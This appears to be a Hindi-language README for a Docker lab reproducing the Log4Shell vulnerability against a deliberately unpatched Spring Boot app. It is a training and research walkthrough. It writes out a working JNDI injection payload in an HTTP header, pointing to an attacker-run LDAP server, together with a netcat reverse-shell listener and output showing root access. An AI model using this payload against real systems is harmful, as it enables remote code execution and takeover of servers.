प्रयोगशाला तीन प्रमुख अभिनेताओं के साथ एक पृथक ब्रिज नेटवर्क (red-log4shell) बनाती है:

1. पीड़ित (web-vulnerable): एक Spring Boot वेब एप्लिकेशन जो Log4j के एक अनपैच्ड, भेद्य संस्करण (2.14.1) का उपयोग करता है और Java 8u111 पर चलता है।
2. LDAP सर्वर (ldap-malicioso): आने वाले लुकअप अनुरोधों को रोकने और पीड़ित को गतिशील रूप से हमलावर के पेलोड पर रीडायरेक्ट करने के लिए marshalsec द्वारा संचालित।
3. हमलावर (kali-tools): एक कस्टम Kali Linux कंटेनर जो संकलित एक्सप्लॉइट पेलोड (Exploit.class) को वितरित करने के लिए एक Python HTTP सर्वर और रिवर्स शेल को पकड़ने के लिए एक Netcat लिसनर होस्ट करता है।

⚙️ त्वरित आरंभ

Docker स्थापित किसी भी Linux मशीन पर इस प्रयोगशाला को तैनात करने के लिए, अपने टर्मिनल में निम्नलिखित कमांड चलाएँ:

🚀 एक्सप्लॉइट कैसे करें (चरण-दर-चरण)

एक बार स्क्रिप्ट के माध्यम से अवसंरचना स्वचालित रूप से चालू हो जाने पर, रिवर्स शेल को ट्रिगर करने और कैप्चर करने के लिए इन चरणों का पालन करें। चरण 1: Netcat लिसनर सेट अप करें

अपनी होस्ट मशीन (Ubuntu) पर एक नया टर्मिनल खोलें और आने वाले कनेक्शनों के लिए Netcat को स्टैंडबाय पर रखने हेतु हमलावर के कंटेनर से जुड़ें: Bash

sudo docker exec -it kali-tools bash

Kali कंटेनर के अंदर, लिसनर शुरू करें: Bash

nc -lvnp 4444

आपको संदेश दिखाई देगा: listening on [any] 4444 ... चरण 2: हमला वेक्टर लॉन्च करें

अपनी होस्ट मशीन पर एक अलग टर्मिनल खोलें और X-Api-Version हेडर के भीतर एम्बेडेड दुर्भावनापूर्ण JNDI इंजेक्शन स्ट्रिंग भेजें: Bash

curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'

चरण 3: रिवर्स शेल सत्यापित करें

अपने Netcat टर्मिनल पर वापस जाएँ। आपको एक सक्रिय कनेक्शन दिखाई देना चाहिए। अब आप पीड़ित सर्वर के अंदर रूट के रूप में कमांड निष्पादित कर सकते हैं: Bash

connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root

⚠️ अस्वीकरण

यह रिपॉजिटरी पूर्ण रूप से शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान, और अधिकृत शैक्षणिक ऑडिटिंग के लिए बनाई गई है। अवसंरचना स्वामियों से स्पष्ट, पूर्व लिखित प्राधिकरण के बिना इन उपकरणों या हमले अवसंरचना को कभी निष्पादित न करें।